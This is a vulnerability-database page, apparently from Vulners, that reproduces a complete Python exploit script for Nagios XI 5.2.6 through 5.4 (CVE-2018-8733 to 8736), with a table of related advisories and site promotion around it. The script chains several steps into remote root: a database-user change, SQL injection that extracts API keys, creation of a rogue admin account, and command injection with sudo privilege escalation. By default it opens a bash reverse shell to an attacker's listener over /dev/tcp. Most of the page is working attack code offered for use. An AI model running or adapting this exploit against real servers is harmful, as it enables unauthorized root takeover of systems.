| Reporter | Title | Published | Views | Family All 46 |
|---|---|---|---|---|
| Nagios XI 5.2.[6-9], 5.3, 5.4 - Chained Remote Root Exploit | 1 May 201800:00 | – | zdt | |
| Nagios XI Chained Remote Code Execution Exploit | 30 Jun 201800:00 | – | zdt | |
| CVE-2018-8733 | 18 Apr 201800:29 | – | attackerkb | |
| CVE-2018-8735 | 18 Apr 201800:29 | – | attackerkb | |
| CVE-2018-8736 | 18 Apr 201800:29 | – | attackerkb | |
| CVE-2018-8734 | 18 Apr 201800:29 | – | attackerkb | |
| CVE-2018-8733 | 30 Apr 201800:00 | – | circl | |
| CVE-2018-8734 | 30 Apr 201800:00 | – | circl | |
| CVE-2018-8735 | 30 Apr 201800:00 | – | circl | |
| CVE-2018-8736 | 30 Apr 201800:00 | – | circl |
# Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
# Date: 4/17/2018
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
# Tested on: CentOS 6.7
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
import re
from optparse import OptionParser
# Print some helpful words:
print """
###############################################################################
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
This exploit leverages the vulnerabilities enumerated in these CVES:
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]
More details here:
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html
Steps are as follows:
0. Determine Version
1. Change the database user to root:nagiosxi
2. Get an API key w/ SQLi
3. Use the API Key to add an administrative user
4. Login as that administrative user
5. Do some authenticated RCE w/ privesc
6. Cleanup.
###############################################################################
"""
# TODO: Figure out what port it's running on, 80 or 443.
def parse_apikeys(resp):
begin_delim = 'START_API:'
end_delim = ':END_API'
start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
end_indecies = [m.start() for m in re.finditer(end_delim, resp)]
unique_keys = []
for i, index in enumerate(start_indecies):
start_index = index + len(begin_delim)
end_index = end_indecies[i]
key = resp[start_index:end_index]
if not key in unique_keys:
unique_keys.append(key)
return unique_keys
def parse_nsp_str(resp):
begin_delim = 'var nsp_str = "'
end_delim = '";\n'
start_index = resp.find(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)
return resp[:end_index]
def parse_cmd_id(resp, cmdname):
begin_delim = "'"
end_delim = "', '{0}')\"><img src='images/cross.png' alt='Delete'>".format(cmdname)
end_idx = resp.find(end_delim)
resp = resp[:end_idx]
resp = resp[resp.rfind(begin_delim)+1:]
return resp
def parse_nagiosxi(resp):
resp = str(resp)
begin_delim = 'Set-Cookie: nagiosxi='
end_delim = ';'
# find the last instance of the nagiosxi cookie...
start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)
return resp[:end_index]
def parse_version(resp):
resp = str(resp)
begin_delim = 'name="version" value="'
end_delim = '"'
start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)
return resp[:end_index]
def change_db_user(usr, pwd, step):
url = '/nagiosql/admin/settings.php'
headers = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}
params = urllib.urlencode({
'txtRootPath':'nagiosql',
'txtBasePath':'/var/www/html/nagiosql/',
'selProtocol':'http',
'txtTempdir':'/tmp',
'selLanguage':'en_GB',
'txtEncoding':'utf-8',
'txtDBserver':'localhost',
'txtDBport':3306,
'txtDBname':'nagiosql',
'txtDBuser': usr,
'txtDBpass':pwd,
'txtLogoff':3600,
'txtLines':15,
'selSeldisable':1
})
print "[+] STEP {0}: Setting Nagios QL DB user to {1}.".format(step, usr)
print "[+] STEP {0}: http://{1}{2}".format(step, RHOST, url)
con = httplib.HTTPConnection(RHOST, 80)
con.set_debuglevel(0)
con.request("POST", url, params, headers=headers)
resp = con.getresponse()
con.close()
return resp
# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context
# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
" %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"
parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
help="Target Nagios XI host")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
help="Run a custom command, no reverse shell for you.")
(options, args) = parser.parse_args()
if not options.rhost:
parser.error("[!] No remote host specified.\n")
parser.print_help()
sys.exit(1)
RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
cmd = options.cmd
else:
cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)
################################################################
# REQUEST ZERO: GET NAGIOS VERSION
################################################################
url0 = '/nagiosxi/login.php'
headers0 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}
print "[+] STEP 0: Get Nagios XI version string."
print "[+] STEP 0: http://{0}{1}".format(RHOST, url0)
con0 = httplib.HTTPConnection(RHOST, 80)
con0.set_debuglevel(0)
con0.request("POST", url0, headers=headers0)
r0 = con0.getresponse()
r0_resp = r0.read()
version = parse_version(r0_resp)
ver_int = int(version.split('.')[1])
con0.close()
print "[+] STEP 0: Nagios XI verions is: {0}".format(version)
################################################################
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT
################################################################
r1 = change_db_user('root', 'nagiosxi', '1')
if r1.status == 302:
print "[+] STEP 1: Received a 302 Response. That's good!"
else:
print "[!] STEP 1: Received a {0} Response. That's bad.".format(str(r1.status))
exit()
################################################################
# REQUEST TWO: GET THE API KEY USING SQLi
################################################################
print ""
url2 = '/nagiosql/admin/helpedit.php'
headers2 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}
# Versions of NagiosXI < 5.3.0 use 'backend_ticket', not 'api_key'.
sqli_param = "api_key" if (ver_int >= 3) else "backend_ticket"
print sqli_param
params2 = urllib.urlencode({
'selInfoKey1':'c\'UNION SELECT CONCAT(\'START_API:\',{0},\':END_API\') FROM nagiosxi.xi_users-- '.format(sqli_param),
'hidKey1':'common',
'selInfoKey2':'free_variables_name',
'hidKey2':'',
'selInfoVersion':'',
'hidVersion':'',
'taContent':'',
'modus':0,
'':''
})
print "[+] STEP 2: Exploiting SQLi to extract user API keys."
print "[+] STEP 2: http://{0}{1}".format(RHOST, url2)
con2 = httplib.HTTPConnection(RHOST, 80)
con2.set_debuglevel(1)
con2.request("POST", url2, params2, headers=headers2)
r2 = con2.getresponse()
if r2.status == 302:
print "[+] STEP 2: Received a 302 Response. That's good!"
else:
print "[!] STEP 2: Received a {0} Response. That's bad.".format(str(r2.status))
exit()
con2.close()
r2_resp = r2.read()
api_keys = parse_apikeys(r2_resp)
random.shuffle(api_keys)
if len(api_keys) > 0:
print "[+] Found {0} unique API keys. Cool:".format(str(len(api_keys)))
for key in api_keys:
print "[+] {0}".format(key)
else:
print "[!] No API keys found! Oh no. Exiting..."
exit()
################################################################
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER
################################################################
print ""
url3 = '/nagiosxi/api/v1/system/user?apikey=XXXAPIKEYLIVESHEREXXX&pretty=1'
headers3 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}
# Generate the sketchiest username possibe :D
sploit_username = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
# And also the worlds best password
sploit_password = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
params3 = urllib.urlencode({
'username':sploit_username,
'password':sploit_password,
'name':'Firsty Lasterson',
'email':'{0}@localhost'.format(sploit_username),
'auth_level':'admin',
'force_pw_change':0
})
print "[+] STEP 3: Using API Keys to add an administrative user..."
found_it = False
for i, key in enumerate(api_keys):
url3_try = url3.replace('XXXAPIKEYLIVESHEREXXX', key)
print "[+] STEP 3: http://{0}{1}".format(RHOST, url3_try)
con3 = httplib.HTTPConnection(RHOST, 80)
con3.set_debuglevel(0)
con3.request("POST", url3_try, params3, headers=headers3)
r3 = con3.getresponse()
r3_contents = r3.read()
if r3.status == 200:
print "[+] STEP 3: Received a 200 Response. That's good!"
if "was added successfully" in r3_contents:
print "[+] STEP 3: User account username:{0} passwd: {1} was added successfully!".format(sploit_username, sploit_password)
print "[+] STEP 3: Moving to Step 4...."
found_it = True
con3.close()
break
else:
"[!] STEP 3: API_KEY access was denied. That's bad."
continue
else:
print "[!] STEP 3: Received a {0} Response. That's bad.".format(str(r2.status))
continue
print "[!] STEP 3: Failed to add a user. Try some more API keys..."
con3.close()
if found_it == False:
print "[!] STEP 3: Step 3 failed.... oh no!"
################################################################
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER
################################################################
print ""
print "[+] STEP 4.1: Authenticate as user TODO."
print "[+] STEP 4.1: Get NSP for login..."
url4p1 = '/nagiosxi/login.php'
headers4p1 = {'Host' : RHOST}
params4p1 = ""
con4p1 = httplib.HTTPConnection(RHOST, 80)
con4p1.set_debuglevel(0)
con4p1.request("POST", url4p1, params4p1, headers=headers4p1)
r4p1 = con4p1.getresponse()
r4p1_resp = r4p1.read()
login_nsp = parse_nsp_str(r4p1_resp)
login_nagiosxi = parse_nagiosxi(r4p1.msg)
con4p1.close()
print "[+] STEP 4.1: login_nsp = {0}".format(login_nsp)
print "[+] STEP 4.1: login_nagiosxi = {0}".format(login_nagiosxi)
# 4.2 ---------------------------------------------------------------
print "[+] STEP 4.2: Authenticating..."
url4p2 = '/nagiosxi/login.php'
headers4p2 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(login_nagiosxi)}
params4p2 = urllib.urlencode({
'nsp':login_nsp,
'page':'auth',
'debug':'',
'pageopt':'login',
'username':sploit_username,
'password':sploit_password,
'loginButton':'',
})
con4p2 = httplib.HTTPConnection(RHOST, 80)
con4p2.set_debuglevel(0)
con4p2.request("POST", url4p2, params4p2, headers=headers4p2)
r4p2 = con4p2.getresponse()
r4p2_resp = r4p2.read()
authed_nagiosxi = parse_nagiosxi(r4p2.msg)
con4p2.close()
print "[+] STEP 4.2: authed_nagiosxi = {0}".format(authed_nagiosxi)
# 4.3 ---------------------------------------------------------------
print "[+] STEP 4.3: Getting an authed nsp token..."
url4p3 = '/nagiosxi/index.php'
headers4p3 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
params4p3 = ""
con4p3 = httplib.HTTPConnection(RHOST, 80)
con4p3.set_debuglevel(0)
con4p3.request("POST", url4p3, params4p3, headers=headers4p3)
r4p3 = con4p3.getresponse()
r4p3_resp = r4p3.read()
authed_nsp = parse_nsp_str(r4p3_resp)
con4p3.close()
print "[+] STEP 4.3: authed_nsp = {0}".format(authed_nsp)
################################################################
# REQUEST FIVE: Excute command
################################################################
print "[+] STEP 5: Executing command as root!..."
url5 = '/nagiosxi/backend/index.php?'
headers5 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
privesc_cmd = 'cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo "{0}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh'.format(cmd)
privesc_cmd = "$(" + privesc_cmd + ")"
url5 = url5 + urllib.urlencode({
'cmd':'submitcommand',
'command':'1111',
'command_data':privesc_cmd
})
con5 = httplib.HTTPConnection(RHOST, 80)
con5.set_debuglevel(0)
con5.request("POST", url5, headers=headers5)
r5 = con5.getresponse()
r5_resp = r5.read()
con5.close()
if r5.status == 200:
print "[+] STEP 5: Received a 200 Response. That's good!"
else:
print "[!] STEP 5: Received a {0} Response. That's bad.".format(str(r5.status))
exit()
print "[+] STEP 5: Successfully ran command. We're done?"
################################################################
# REQUEST SIX: Cleanup
################################################################
print "[+] STEP 6: Cleanup time"
r1 = change_db_user('nagiosql', 'n@gweb', '6')
if r1.status == 302:
print "[+] STEP 6: Received a 302 Response. That's good!"
else:
print "[!] STEP 6: Received a {0} Response. That's bad.".format(str(r1.status))
exit()
################################################################
# Solution: Update to a version of NagiosXI >= 5.4.13
################################################################Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation